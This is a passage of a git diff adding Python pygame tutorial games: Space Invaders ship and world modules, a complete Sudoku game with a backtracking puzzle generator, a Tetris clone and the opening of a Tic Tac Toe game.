00000000..c5852261 --- /dev/null +++ b/gui-programming/space-invaders-game/ship.py @@ -0,0 +1,42 @@ +import pygame + +from settings import PLAYER_SPEED, BULLET_SIZE +from bullet import Bullet + +class Ship(pygame.sprite.Sprite): + def __init__(self, pos, size): + super().__init__() + self.x = pos[0] + self.y = pos[1] + + # ship info + img_path = 'assets/ship/ship.png' + self.image = pygame.image.load(img_path) + self.image = pygame.transform.scale(self.image, (size, size)) + self.rect = self.image.get_rect(topleft = pos) + self.mask = pygame.mask.from_surface(self.image) + self.ship_speed = PLAYER_SPEED + + # ship status + self.life = 3 + self.player_bullets = pygame.sprite.Group() + + + def move_left(self): + self.rect.x -= self.ship_speed + + def move_up(self): + self.rect.y -= self.ship_speed + + def move_right(self): + self.rect.x += self.ship_speed + + def move_bottom(self): + self.rect.y += self.ship_speed + + def _shoot(self): + specific_pos = (self.rect.centerx - (BULLET_SIZE // 2), self.rect.y) + self.player_bullets.add(Bullet(specific_pos, BULLET_SIZE, "player")) + + def update(self): + self.rect = self.image.get_rect(topleft=(self.rect.x, self.rect.y)) \ No newline at end of file diff --git a/gui-programming/space-invaders-game/world.py b/gui-programming/space-invaders-game/world.py new file mode 100644 index 00000000..216fceb8 --- /dev/null +++ b/gui-programming/space-invaders-game/world.py @@ -0,0 +1,182 @@ +import pygame +from ship import Ship +from alien import Alien +from settings import HEIGHT, WIDTH, ENEMY_SPEED, CHARACTER_SIZE, BULLET_SIZE, NAV_THICKNESS +from bullet import Bullet +from display import Display + +class World: + def __init__(self, screen): + self.screen = screen + + self.player = pygame.sprite.GroupSingle() + self.aliens = pygame.sprite.Group() + self.display = Display(self.screen) + + self.game_over = False + self.player_score = 0 + self.game_level = 1 + + self._generate_world() + + + def _generate_aliens(self): + # generate opponents + alien_cols = (WIDTH // CHARACTER_SIZE) // 2 + alien_rows = 3 + for y in range(alien_rows): + for x in range(alien_cols): + my_x = CHARACTER_SIZE * x + my_y = CHARACTER_SIZE * y + specific_pos = (my_x, my_y) + self.aliens.add(Alien(specific_pos, CHARACTER_SIZE, y)) + + # create and add player to the screen + def _generate_world(self): + # create the player's ship + player_x, player_y = WIDTH // 2, HEIGHT - CHARACTER_SIZE + center_size = CHARACTER_SIZE // 2 + player_pos = (player_x - center_size, player_y) + self.player.add(Ship(player_pos, CHARACTER_SIZE)) + + self._generate_aliens() + + + def add_additionals(self): + # add nav bar + nav = pygame.Rect(0, HEIGHT, WIDTH, NAV_THICKNESS) + pygame.draw.rect(self.screen, pygame.Color("gray"), nav) + + # render player's life, score and game level + self.display.show_life(self.player.sprite.life) + self.display.show_score(self.player_score) + self.display.show_level(self.game_level) + + + def player_move(self, attack = False): + keys = pygame.key.get_pressed() + + if keys[pygame.K_a] and not self.game_over or keys[pygame.K_LEFT] and not self.game_over: + if self.player.sprite.rect.left > 0: + self.player.sprite.move_left() + if keys[pygame.K_d] and not self.game_over or keys[pygame.K_RIGHT] and not self.game_over: + if self.player.sprite.rect.right < WIDTH: + self.player.sprite.move_right() + if keys[pygame.K_w] and not self.game_over or keys[pygame.K_UP] and not self.game_over: + if self.player.sprite.rect.top > 0: + self.player.sprite.move_up() + if keys[pygame.K_s] and not self.game_over or keys[pygame.K_DOWN] and not self.game_over: + if self.player.sprite.rect.bottom < HEIGHT: + self.player.sprite.move_bottom() + + # game restart button + if keys[pygame.K_r]: + self.game_over = False + self.player_score = 0 + self.game_level = 1 + for alien in self.aliens.sprites(): + alien.kill() + self._generate_world() + + if attack and not self.game_over: + self.player.sprite._shoot() + + + def _detect_collisions(self): + # checks if player bullet hits the enemies (aliens) + player_attack_collision = pygame.sprite.groupcollide(self.aliens, self.player.sprite.player_bullets, True, True) + if player_attack_collision: + self.player_score += 10 + + # checks if the aliens' bullet hit the player + for alien in self.aliens.sprites(): + alien_attack_collision = pygame.sprite.groupcollide(alien.bullets, self.player, True, False) + if alien_attack_collision: + self.player.sprite.life -= 1 + break + + # checks if the aliens hit the player + alien_to_player_collision = pygame.sprite.groupcollide(self.aliens, self.player, True, False) + if alien_to_player_collision: + self.player.sprite.life -= 1 + + + def _alien_movement(self): + move_sideward = False + move_forward = False + + for alien in self.aliens.sprites(): + if alien.to_direction == "right" and alien.rect.right < WIDTH or alien.to_direction == "left" and alien.rect.left > 0: + move_sideward = True + move_forward = False + else: + move_sideward = False + move_forward = True + alien.to_direction = "left" if alien.to_direction == "right" else "right" + break + + for alien in self.aliens.sprites(): + if move_sideward and not move_forward: + if alien.to_direction == "right": + alien.move_right() + if alien.to_direction == "left": + alien.move_left() + if not move_sideward and move_forward: + alien.move_bottom() + + + def _alien_shoot(self): + for alien in self.aliens.sprites(): + if (WIDTH - alien.rect.x) // CHARACTER_SIZE == (WIDTH - self.player.sprite.rect.x) // CHARACTER_SIZE: + alien._shoot() + break + + + def _check_game_state(self): + # check if game over + if self.player.sprite.life <= 0: + self.game_over = True + self.display.game_over_message() + for alien in self.aliens.sprites(): + if alien.rect.top >= HEIGHT: + self.game_over = True + self.display.game_over_message() + break + + # check if next level + if len(self.aliens) == 0 and self.player.sprite.life > 0: + self.game_level += 1 + self._generate_aliens() + for alien in self.aliens.sprites(): + alien.move_speed += self.game_level - 1 + + + def update(self): + # detecting if bullet, alien, and player group is colliding + self._detect_collisions() + + # allows the aliens to move + self._alien_movement() + + # allows alien to shoot the player + self._alien_shoot() + + # bullets rendering + self.player.sprite.player_bullets.update() + self.player.sprite.player_bullets.draw(self.screen) + + [alien.bullets.update() for alien in self.aliens.sprites()] + [alien.bullets.draw(self.screen) for alien in self.aliens.sprites()] + + # player ship rendering + self.player.update() + self.player.draw(self.screen) + + # alien rendering + self.aliens.draw(self.screen) + + # add nav + self.add_additionals() + + # checks game state + self._check_game_state() \ No newline at end of file diff --git a/gui-programming/sudoku-game/README.md b/gui-programming/sudoku-game/README.md new file mode 100644 index 00000000..00cb1d63 --- /dev/null +++ b/gui-programming/sudoku-game/README.md @@ -0,0 +1 @@ +# [How to Build a Sudoku Game with Python](https://thepythoncode.com/article/make-a-sudoku-game-in-python) \ No newline at end of file diff --git a/gui-programming/sudoku-game/cell.py b/gui-programming/sudoku-game/cell.py new file mode 100644 index 00000000..d529ec0b --- /dev/null +++ b/gui-programming/sudoku-game/cell.py @@ -0,0 +1,46 @@ +import pygame +from settings import convert_list + +pygame.font.init() + +class Cell: + def __init__(self, row, col, cell_size, value, is_correct_guess = None): + self.row = row + self.col = col + self.cell_size = cell_size + self.width = self.cell_size[0] + self.height = self.cell_size[1] + self.abs_x = row * self.width + self.abs_y = col * self.height + + self.value = value + self.is_correct_guess = is_correct_guess + self.guesses = None if self.value != 0 else [0 for x in range(9)] + + self.color = pygame.Color("white") + self.font = pygame.font.SysFont('monospace', self.cell_size[0]) + self.g_font = pygame.font.SysFont('monospace', (cell_size[0] // 3)) + + self.rect = pygame.Rect(self.abs_x,self.abs_y,self.width,self.height) + + + def update(self, screen, SRN = None): + pygame.draw.rect(screen, self.color, self.rect) + + if self.value != 0: + font_color = pygame.Color("black") if self.is_correct_guess else pygame.Color("red") + num_val = self.font.render(str(self.value), True, font_color) + screen.blit(num_val, (self.abs_x, self.abs_y)) + + elif self.value == 0 and self.guesses != None: + cv_list = convert_list(self.guesses, [SRN, SRN, SRN]) + for y in range(SRN): + for x in range(SRN): + num_txt = " " + if cv_list[y][x] != 0: + num_txt = cv_list[y][x] + num_txt = self.g_font.render(str(num_txt), True, pygame.Color("orange")) + abs_x = (self.abs_x + ((self.width // SRN) * x)) + abs_y = (self.abs_y + ((self.height // SRN) * y)) + abs_pos = (abs_x, abs_y) + screen.blit(num_txt, abs_pos) \ No newline at end of file diff --git a/gui-programming/sudoku-game/clock.py b/gui-programming/sudoku-game/clock.py new file mode 100644 index 00000000..dcad3950 --- /dev/null +++ b/gui-programming/sudoku-game/clock.py @@ -0,0 +1,31 @@ +import pygame, time +from settings import CELL_SIZE + +pygame.font.init() + +class Clock: + def __init__(self): + self.start_time = None + self.elapsed_time = 0 + self.font = pygame.font.SysFont("monospace", CELL_SIZE[0]) + self.message_color = pygame.Color("black") + + # Start the timer + def start_timer(self): + self.start_time = time.time() + + # Update the timer + def update_timer(self): + if self.start_time is not None: + self.elapsed_time = time.time() - self.start_time + + # Display the timer + def display_timer(self): + secs = int(self.elapsed_time % 60) + mins = int(self.elapsed_time / 60) + my_time = self.font.render(f"{mins:02}:{secs:02}", True, self.message_color) + return my_time + + # Stop the timer + def stop_timer(self): + self.start_time = None \ No newline at end of file diff --git a/gui-programming/sudoku-game/main.py b/gui-programming/sudoku-game/main.py new file mode 100644 index 00000000..bb0ab5b5 --- /dev/null +++ b/gui-programming/sudoku-game/main.py @@ -0,0 +1,53 @@ +import pygame, sys +from settings import WIDTH, HEIGHT, CELL_SIZE +from table import Table + +pygame.init() + +screen = pygame.display.set_mode((WIDTH, HEIGHT + (CELL_SIZE[1] * 3))) +pygame.display.set_caption("Sudoku") + +pygame.font.init() + +class Main: + def __init__(self, screen): + self.screen = screen + self.FPS = pygame.time.Clock() + self.lives_font = pygame.font.SysFont("monospace", CELL_SIZE[0] // 2) + self.message_font = pygame.font.SysFont('Bauhaus 93', (CELL_SIZE[0])) + self.color = pygame.Color("darkgreen") + + def main(self): + table = Table(self.screen) + + while True: + self.screen.fill("gray") + for event in pygame.event.get(): + if event.type == pygame.QUIT: + pygame.quit() + sys.exit() + if event.type == pygame.MOUSEBUTTONDOWN: + if not table.game_over: + table.handle_mouse_click(event.pos) + + # lower screen display + if not table.game_over: + my_lives = self.lives_font.render(f"Lives Left: {table.lives}", True, pygame.Color("black")) + self.screen.blit(my_lives, ((WIDTH // table.SRN) - (CELL_SIZE[0] // 2), HEIGHT + (CELL_SIZE[1] * 2.2))) + + else: + if table.lives <= 0: + message = self.message_font.render("GAME OVER!!", True, pygame.Color("red")) + self.screen.blit(message, (CELL_SIZE[0] + (CELL_SIZE[0] // 2), HEIGHT + (CELL_SIZE[1] * 2))) + elif table.lives > 0: + message = self.message_font.render("You Made It!!!", True, self.color) + self.screen.blit(message, (CELL_SIZE[0] , HEIGHT + (CELL_SIZE[1] * 2))) + + table.update() + pygame.display.flip() + self.FPS.tick(30) + + +if __name__ == "__main__": + play = Main(screen) + play.main() \ No newline at end of file diff --git a/gui-programming/sudoku-game/requirements.txt b/gui-programming/sudoku-game/requirements.txt new file mode 100644 index 00000000..231dd178 --- /dev/null +++ b/gui-programming/sudoku-game/requirements.txt @@ -0,0 +1 @@ +pygame \ No newline at end of file diff --git a/gui-programming/sudoku-game/settings.py b/gui-programming/sudoku-game/settings.py new file mode 100644 index 00000000..d847156e --- /dev/null +++ b/gui-programming/sudoku-game/settings.py @@ -0,0 +1,13 @@ +from itertools import islice + + +WIDTH, HEIGHT = 450, 450 + +N_CELLS = 9 + +CELL_SIZE = (WIDTH // N_CELLS, HEIGHT // N_CELLS) + +# Convert 1D list to 2D list +def convert_list(lst, var_lst): + it = iter(lst) + return [list(islice(it, i)) for i in var_lst] diff --git a/gui-programming/sudoku-game/sudoku.py b/gui-programming/sudoku-game/sudoku.py new file mode 100644 index 00000000..bda93b9a --- /dev/null +++ b/gui-programming/sudoku-game/sudoku.py @@ -0,0 +1,132 @@ +import random +import math +import copy + +class Sudoku: + def __init__(self, N, E): + self.N = N + self.E = E + + # compute square root of N + self.SRN = int(math.sqrt(N)) + self.table = [[0 for x in range(N)] for y in range(N)] + self.answerable_table = None + + self._generate_table() + + def _generate_table(self): + # fill the subgroups diagonally table/matrices + self.fill_diagonal() + + # fill remaining empty subgroups + self.fill_remaining(0, self.SRN) + + # Remove random Key digits to make game + self.remove_digits() + + def fill_diagonal(self): + for x in range(0, self.N, self.SRN): + self.fill_cell(x, x) + + def not_in_subgroup(self, rowstart, colstart, num): + for x in range(self.SRN): + for y in range(self.SRN): + if self.table[rowstart + x][colstart + y] == num: + return False + return True + + def fill_cell(self, row, col): + num = 0 + for x in range(self.SRN): + for y in range(self.SRN): + while True: + num = self.random_generator(self.N) + if self.not_in_subgroup(row, col, num): + break + self.table[row + x][col + y] = num + + def random_generator(self, num): + return math.floor(random.random() * num + 1) + + def safe_position(self, row, col, num): + return (self.not_in_row(row, num) and self.not_in_col(col, num) and self.not_in_subgroup(row - row % self.SRN, col - col % self.SRN, num)) + + def not_in_row(self, row, num): + for col in range(self.N): + if self.table[row][col] == num: + return False + return True + + def not_in_col(self, col, num): + for row in range(self.N): + if self.table[row][col] == num: + return False + return True + + + def fill_remaining(self, row, col): + # check if we have reached the end of the matrix + if row == self.N - 1 and col == self.N: + return True + + # move to the next row if we have reached the end of the current row + if col == self.N: + row += 1 + col = 0 + + # skip cells that are already filled + if self.table[row][col] != 0: + return self.fill_remaining(row, col + 1) + + # try filling the current cell with a valid value + for num in range(1, self.N + 1): + if self.safe_position(row, col, num): + self.table[row][col] = num + if self.fill_remaining(row, col + 1): + return True + self.table[row][col] = 0 + + # no valid value was found, so backtrack + return False + + def remove_digits(self): + count = self.E + + # replicates the table so we can have a filled and pre-filled copy + self.answerable_table = copy.deepcopy(self.table) + + # removing random numbers to create the puzzle sheet + while (count != 0): + row = self.random_generator(self.N) - 1 + col = self.random_generator(self.N) - 1 + if (self.answerable_table[row][col] != 0): + count -= 1 + self.answerable_table[row][col] = 0 + + + def puzzle_table(self): + return self.answerable_table + + def puzzle_answers(self): + return self.table + + + def printSudoku(self): + for row in range(self.N): + for col in range(self.N): + print(self.table[row][col], end=" ") + print() + + print("") + + for row in range(self.N): + for col in range(self.N): + print(self.answerable_table[row][col], end=" ") + print() + + +if __name__ == "__main__": + N = 9 + E = (N * N) // 2 + sudoku = Sudoku(N, E) + sudoku.printSudoku() diff --git a/gui-programming/sudoku-game/table.py b/gui-programming/sudoku-game/table.py new file mode 100644 index 00000000..f077ba99 --- /dev/null +++ b/gui-programming/sudoku-game/table.py @@ -0,0 +1,220 @@ +import pygame +import math +from cell import Cell +from sudoku import Sudoku +from clock import Clock + +from settings import WIDTH, HEIGHT, N_CELLS, CELL_SIZE + +pygame.font.init() + +class Table: + def __init__(self, screen): + self.screen = screen + + self.puzzle = Sudoku(N_CELLS, (N_CELLS * N_CELLS) // 2) + self.clock = Clock() + + self.answers = self.puzzle.puzzle_answers() + self.answerable_table = self.puzzle.puzzle_table() + self.SRN = self.puzzle.SRN + + self.table_cells = [] + self.num_choices = [] + self.clicked_cell = None + self.clicked_num_below = None + self.cell_to_empty = None + self.making_move = False + self.guess_mode = True + + self.lives = 3 + self.game_over = False + + self.delete_button = pygame.Rect(0, (HEIGHT + CELL_SIZE[1]), (CELL_SIZE[0] * 3), (CELL_SIZE[1])) + self.guess_button = pygame.Rect((CELL_SIZE[0] * 6), (HEIGHT + CELL_SIZE[1]), (CELL_SIZE[0] * 3), (CELL_SIZE[1])) + self.font = pygame.font.SysFont('Bauhaus 93', (CELL_SIZE[0] // 2)) + self.font_color = pygame.Color("white") + + self._generate_game() + self.clock.start_timer() + + + def _generate_game(self): + # generating sudoku table + for y in range(N_CELLS): + for x in range(N_CELLS): + cell_value = self.answerable_table[y][x] + is_correct_guess = True if cell_value != 0 else False + self.table_cells.append(Cell(x, y, CELL_SIZE, cell_value, is_correct_guess)) + + # generating number choices + for x in range(N_CELLS): + self.num_choices.append(Cell(x, N_CELLS, CELL_SIZE, x + 1)) + + + def _draw_grid(self): + grid_color = (50, 80, 80) + pygame.draw.rect(self.screen, grid_color, (-3, -3, WIDTH + 6, HEIGHT + 6), 6) + + i = 1 + while (i * CELL_SIZE[0]) < WIDTH: + line_size = 2 if i % 3 > 0 else 4 + pygame.draw.line(self.screen, grid_color, ((i * CELL_SIZE[0]) - (line_size // 2), 0), ((i * CELL_SIZE[0]) - (line_size // 2), HEIGHT), line_size) + pygame.draw.line(self.screen, grid_color, (0, (i * CELL_SIZE[0]) - (line_size // 2)), (HEIGHT, (i * CELL_SIZE[0]) - (line_size // 2)), line_size) + i += 1 + + + def _draw_buttons(self): + # adding delete button details + dl_button_color = pygame.Color("red") + pygame.draw.rect(self.screen, dl_button_color, self.delete_button) + del_msg = self.font.render("Delete", True, self.font_color) + self.screen.blit(del_msg, (self.delete_button.x + (CELL_SIZE[0] // 2), self.delete_button.y + (CELL_SIZE[1] // 4))) + # adding guess button details + gss_button_color = pygame.Color("blue") if self.guess_mode else pygame.Color("purple") + pygame.draw.rect(self.screen, gss_button_color, self.guess_button) + gss_msg = self.font.render("Guess: On" if self.guess_mode else "Guess: Off", True, self.font_color) + self.screen.blit(gss_msg, (self.guess_button.x + (CELL_SIZE[0] // 3), self.guess_button.y + (CELL_SIZE[1] // 4))) + + + def _get_cell_from_pos(self, pos): + for cell in self.table_cells: + if (cell.row, cell.col) == (pos[0], pos[1]): + return cell + + + # checking rows, cols, and subgroups for adding guesses on each cell + def _not_in_row(self, row, num): + for cell in self.table_cells: + if cell.row == row: + if cell.value == num: + return False + return True + + def _not_in_col(self, col, num): + for cell in self.table_cells: + if cell.col == col: + if cell.value == num: + return False + return True + + def _not_in_subgroup(self, rowstart, colstart, num): + for x in range(self.SRN): + for y in range(self.SRN): + current_cell = self._get_cell_from_pos((rowstart + x, colstart + y)) + if current_cell.value == num: + return False + return True + + + # remove numbers in guess if number already guessed in the same row, col, subgroup correctly + def _remove_guessed_num(self, row, col, rowstart, colstart, num): + for cell in self.table_cells: + if cell.row == row and cell.guesses != None: + for x_idx,guess_row_val in enumerate(cell.guesses): + if guess_row_val == num: + cell.guesses[x_idx] = 0 + if cell.col == col and cell.guesses != None: + for y_idx,guess_col_val in enumerate(cell.guesses): + if guess_col_val == num: + cell.guesses[y_idx] = 0 + + for x in range(self.SRN): + for y in range(self.SRN): + current_cell = self._get_cell_from_pos((rowstart + x, colstart + y)) + if current_cell.guesses != None: + for idx,guess_val in enumerate(current_cell.guesses): + if guess_val == num: + current_cell.guesses[idx] = 0 + + + def handle_mouse_click(self, pos): + x, y = pos[0], pos[1] + + # getting table cell clicked + if x <= WIDTH and y <= HEIGHT: + x = x // CELL_SIZE[0] + y = y // CELL_SIZE[1] + clicked_cell = self._get_cell_from_pos((x, y)) + + # if clicked empty cell + if clicked_cell.value == 0: + self.clicked_cell = clicked_cell + self.making_move = True + + # clicked unempty cell but with wrong number guess + elif clicked_cell.value != 0 and clicked_cell.value != self.answers[y][x]: + self.cell_to_empty = clicked_cell + + # getting number selected + elif x <= WIDTH and y >= HEIGHT and y <= (HEIGHT + CELL_SIZE[1]): + x = x // CELL_SIZE[0] + self.clicked_num_below = self.num_choices[x].value + + # deleting numbers + elif x <= (CELL_SIZE[0] * 3) and y >= (HEIGHT + CELL_SIZE[1]) and y <= (HEIGHT + CELL_SIZE[1] * 2): + if self.cell_to_empty: + self.cell_to_empty.value = 0 + self.cell_to_empty = None + + # selecting modes + elif x >= (CELL_SIZE[0] * 6) and y >= (HEIGHT + CELL_SIZE[1]) and y <= (HEIGHT + CELL_SIZE[1] * 2): + self.guess_mode = True if not self.guess_mode else False + + # if making a move + if self.clicked_num_below and self.clicked_cell != None and self.clicked_cell.value == 0: + current_row = self.clicked_cell.row + current_col = self.clicked_cell.col + rowstart = self.clicked_cell.row - self.clicked_cell.row % self.SRN + colstart = self.clicked_cell.col - self.clicked_cell.col % self.SRN + + if self.guess_mode: + # checking the vertical group, the horizontal group, and the subgroup + if self._not_in_row(current_row, self.clicked_num_below) and self._not_in_col(current_col, self.clicked_num_below): + if self._not_in_subgroup(rowstart, colstart, self.clicked_num_below): + if self.clicked_cell.guesses != None: + self.clicked_cell.guesses[self.clicked_num_below - 1] = self.clicked_num_below + else: + self.clicked_cell.value = self.clicked_num_below + # if the player guess correctly + if self.clicked_num_below == self.answers[self.clicked_cell.col][self.clicked_cell.row]: + self.clicked_cell.is_correct_guess = True + self.clicked_cell.guesses = None + self._remove_guessed_num(current_row, current_col, rowstart, colstart, self.clicked_num_below) + # if guess is wrong + else: + self.clicked_cell.is_correct_guess = False + self.clicked_cell.guesses = [0 for x in range(9)] + self.lives -= 1 + self.clicked_num_below = None + self.making_move = False + else: + self.clicked_num_below = None + + + def _puzzle_solved(self): + check = None + for cell in self.table_cells: + if cell.value == self.answers[cell.col][cell.row]: + check = True + else: + check = False + break + return check + + + def update(self): + [cell.update(self.screen, self.SRN) for cell in self.table_cells] + + [num.update(self.screen) for num in self.num_choices] + + self._draw_grid() + self._draw_buttons() + + if self._puzzle_solved() or self.lives == 0: + self.clock.stop_timer() + self.game_over = True + else: + self.clock.update_timer() + + self.screen.blit(self.clock.display_timer(), (WIDTH // self.SRN,HEIGHT + CELL_SIZE[1])) \ No newline at end of file diff --git a/gui-programming/tetris-game/README.md b/gui-programming/tetris-game/README.md new file mode 100644 index 00000000..285ab6c4 --- /dev/null +++ b/gui-programming/tetris-game/README.md @@ -0,0 +1 @@ +# [How to Make a Tetris Game using PyGame in Python](https://www.thepythoncode.com/article/create-a-tetris-game-with-pygame-in-python) diff --git a/gui-programming/tetris-game/requirements.txt b/gui-programming/tetris-game/requirements.txt new file mode 100644 index 00000000..231dd178 --- /dev/null +++ b/gui-programming/tetris-game/requirements.txt @@ -0,0 +1 @@ +pygame \ No newline at end of file diff --git a/gui-programming/tetris-game/tetris.py b/gui-programming/tetris-game/tetris.py new file mode 100644 index 00000000..45f3224e --- /dev/null +++ b/gui-programming/tetris-game/tetris.py @@ -0,0 +1,266 @@ +import sys +import pygame +import random + +pygame.init() + +# Screen dimensions +WIDTH, HEIGHT = 800, 600 +GRID_SIZE = 25 + +# Colors +WHITE = (255, 255, 255) +BLACK = (0, 0, 0) +RED = (255, 0, 0) +BLUE = (0, 0, 255) +GREEN = (0, 255, 0) +COLORS = [RED, BLUE, GREEN] + +# Tetromino shapes +SHAPES = [ + [ + ['.....', + '.....', + '.....', + 'OOOO.', + '.....'], + ['.....', + '..O..', + '..O..', + '..O..', + '..O..'] + ], + [ + ['.....', + '.....', + '..O..', + '.OOO.', + '.....'], + ['.....', + '..O..', + '.OO..', + '..O..', + '.....'], + ['.....', + '.....', + '.OOO.', + '..O..', + '.....'], + ['.....', + '..O..', + '..OO.', + '..O..', + '.....'] + ], + [ + [ + '.....', + '.....', + '..OO.', + '.OO..', + '.....'], + ['.....', + '.....', + '.OO..', + '..OO.', + '.....'], + ['.....', + '.O...', + '.OO..', + '..O..', + '.....'], + ['.....', + '..O..', + '.OO..', + '.O...', + '.....'] + ], + [ + ['.....', + '..O..', + '..O.', + '..OO.', + '.....'], + ['.....', + '...O.', + '.OOO.', + '.....', + '.....'], + ['.....', + '.OO..', + '..O..', + '..O..', + '.....'], + ['.....', + '.....', + '.OOO.', + '.O...', + '.....'] + ], +] + + +class Tetromino: + def __init__(self, x, y, shape): + self.x = x + self.y = y + self.shape = shape + self.color = random.choice(COLORS) # You can choose different colors for each shape + self.rotation = 0 + + +class Tetris: + def __init__(self, width, height): + self.width = width + self.height = height + self.grid = [[0 for _ in range(width)] for _ in range(height)] + self.current_piece = self.new_piece() + self.game_over = False + self.score = 0 # Add score attribute + + def new_piece(self): + # Choose a random shape + shape = random.choice(SHAPES) + # Return a new Tetromino object + return Tetromino(self.width // 2, 0, shape) + + def valid_move(self, piece, x, y, rotation): + """Check if the piece can move to the given position""" + for i, row in enumerate(piece.shape[(piece.rotation + rotation) % len(piece.shape)]): + for j, cell in enumerate(row): + try: + if cell == 'O' and (self.grid[piece.y + i + y][piece.x + j + x] != 0): + return False + except IndexError: + return False + return True + + def clear_lines(self): + """Clear the lines that are full and return the number of cleared lines""" + lines_cleared = 0 + for i, row in enumerate(self.grid[:-1]): + if all(cell != 0 for cell in row): + lines_cleared += 1 + del self.grid[i] + self.grid.insert(0, [0 for _ in range(self.width)]) + return lines_cleared + + def lock_piece(self, piece): + """Lock the piece in place and create a new piece""" + for i, row in enumerate(piece.shape[piece.rotation % len(piece.shape)]): + for j, cell in enumerate(row): + if cell == 'O': + self.grid[piece.y + i][piece.x + j] = piece.color + # Clear the lines and update the score + lines_cleared = self.clear_lines() + self.score += lines_cleared * 100 # Update the score based on the number of cleared lines + # Create a new piece + self.current_piece = self.new_piece() + # Check if the game is over + if not self.valid_move(self.current_piece, 0, 0, 0): + self.game_over = True + return lines_cleared + + def update(self): + """Move the tetromino down one cell""" + if not self.game_over: + if self.valid_move(self.current_piece, 0, 1, 0): + self.current_piece.y += 1 + else: + self.lock_piece(self.current_piece) + + def draw(self, screen): + """Draw the grid and the current piece""" + for y, row in enumerate(self.grid): + for x, cell in enumerate(row): + if cell: + pygame.draw.rect(screen, cell, (x * GRID_SIZE, y * GRID_SIZE, GRID_SIZE - 1, GRID_SIZE - 1)) + + if self.current_piece: + for i, row in enumerate(self.current_piece.shape[self.current_piece.rotation % len(self.current_piece.shape)]): + for j, cell in enumerate(row): + if cell == 'O': + pygame.draw.rect(screen, self.current_piece.color, ((self.current_piece.x + j) * GRID_SIZE, (self.current_piece.y + i) * GRID_SIZE, GRID_SIZE - 1, GRID_SIZE - 1)) + + +def draw_score(screen, score, x, y): + """Draw the score on the screen""" + font = pygame.font.Font(None, 36) + text = font.render(f"Score: {score}", True, WHITE) + screen.blit(text, (x, y)) + + +def draw_game_over(screen, x, y): + """Draw the game over text on the screen""" + font = pygame.font.Font(None, 48) + text = font.render("Game Over", True, RED) + screen.blit(text, (x, y)) + + +def main(): + # Initialize pygame + screen = pygame.display.set_mode((WIDTH, HEIGHT)) + pygame.display.set_caption('Tetris') + # Create a clock object + clock = pygame.time.Clock() + # Create a Tetris object + game = Tetris(WIDTH // GRID_SIZE, HEIGHT // GRID_SIZE) + fall_time = 0 + fall_speed = 50 # You can adjust this value to change the falling speed, it's in milliseconds + while True: + # Fill the screen with black + screen.fill(BLACK) + for event in pygame.event.get(): + # Check for the QUIT event + if event.type == pygame.QUIT: + pygame.quit() + sys.exit() + # Check for the KEYDOWN event + if event.type == pygame.KEYDOWN: + if event.key == pygame.K_LEFT: + if game.valid_move(game.current_piece, -1, 0, 0): + game.current_piece.x -= 1 # Move the piece to the left + if event.key == pygame.K_RIGHT: + if game.valid_move(game.current_piece, 1, 0, 0): + game.current_piece.x += 1 # Move the piece to the right + if event.key == pygame.K_DOWN: + if game.valid_move(game.current_piece, 0, 1, 0): + game.current_piece.y += 1 # Move the piece down + if event.key == pygame.K_UP: + if game.valid_move(game.current_piece, 0, 0, 1): + game.current_piece.rotation += 1 # Rotate the piece + if event.key == pygame.K_SPACE: + while game.valid_move(game.current_piece, 0, 1, 0): + game.current_piece.y += 1 # Move the piece down until it hits the bottom + game.lock_piece(game.current_piece) # Lock the piece in place + # Get the number of milliseconds since the last frame + delta_time = clock.get_rawtime() + # Add the delta time to the fall time + fall_time += delta_time + if fall_time >= fall_speed: + # Move the piece down + game.update() + # Reset the fall time + fall_time = 0 + # Draw the score on the screen + draw_score(screen, game.score, 10, 10) + # Draw the grid and the current piece + game.draw(screen) + if game.game_over: + # Draw the "Game Over" message + draw_game_over(screen, WIDTH // 2 - 100, HEIGHT // 2 - 30) # Draw the "Game Over" message + # You can add a "Press any key to restart" message here + # Check for the KEYDOWN event + if event.type == pygame.KEYDOWN: + # Create a new Tetris object + game = Tetris(WIDTH // GRID_SIZE, HEIGHT // GRID_SIZE) + # Update the display + pygame.display.flip() + # Set the framerate + clock.tick(60) + + +if __name__ == "__main__": + main() + + diff --git a/gui-programming/tictactoe-game/README.md b/gui-programming/tictactoe-game/README.md new file mode 100644 index 00000000..8ae7c363 --- /dev/null +++ b/gui-programming/tictactoe-game/README.md @@ -0,0 +1 @@ +# [How to Build a Tic Tac Toe Game in Python](https://www.thepythoncode.com/article/make-a-tic-tac-toe-game-pygame-in-python) \ No newline at end of file diff --git a/gui-programming/tictactoe-game/requirements.txt b/gui-programming/tictactoe-game/requirements.txt new file mode 100644 index 00000000..231dd178 --- /dev/null +++ b/gui-programming/tictactoe-game/requirements.txt @@ -0,0 +1 @@ +pygame \ No newline at end of file diff --git a/gui-programming/tictactoe-game/tictactoe.py b/gui-programming/tictactoe-game/tictactoe.py new file mode 100644 index 00000000..5c72a43b --- /dev/null +++ b/gui-programming/tictactoe-game/tictactoe.py @@ -0,0 +1,206 @@ +import pygame +from pygame.locals import * + +pygame.init() +pygame.font.init() + +window_size = (450, 500) + +screen = pygame.display.set_mode(window_size) +pygame.display.set_caption("Tic Tac Toe") + + +class TicTacToe(): + + def __init__(self, table_size): + self.table_size = table_size + self.cell_size = table_size // 3 + self.table_space = 20 + + self.player = "X" + self.winner = None + self.taking_move = True + self.running = True + self.table = [] + for col in range(3): + self.table.append([]) + for row in range(3): + self.table[col].append("-") + + self.background_color = (255, 174, 66) + self.table_color = (50, 50, 50) + self.line_color = (190, 0, 10) + self.instructions_color = (17, 53, 165) + self.game_over_bg_color = (47, 98, 162) + self.game_over_color = (255, 179, 1) + self.font = pygame.font.SysFont("Courier New", 35) + self.FPS = pygame.time.Clock() + + + # draws table representation + def _draw_table(self): + tb_space_point = (self.table_space, self.table_size - self.table_space) + cell_space_point = (self.cell_size, self.cell_size * 2) + r1 = pygame.draw.line(screen, self.table_color, [tb_space_point[0], cell_space_point[0]], [tb_space_point[1], cell_space_point[0]], 8) + c1 = pygame.draw.line(screen, self.table_color, [cell_space_point[0], tb_space_point[0]], [cell_space_point[0], tb_space_point[1]], 8) + r2 = pygame.draw.line(screen, self.table_color, [tb_space_point[0], cell_space_point[1]], [tb_space_point[1], cell_space_point[1]], 8) + c2 = pygame.draw.line(screen, self.table_color, [cell_space_point[1], tb_space_point[0]], [cell_space_point[1], tb_space_point[1]], 8) + + + def _change_player(self): + self.player = "O" if self.player == "X" else "X" + + + # processing clicks to move + def _move(self, pos): + try: + x, y = pos[0] // self.cell_size, pos[1] // self.cell_size + if self.table[x][y] == "-": + self.table[x][y] = self.player + self._draw_char(x,y,self.player) + self._game_check() 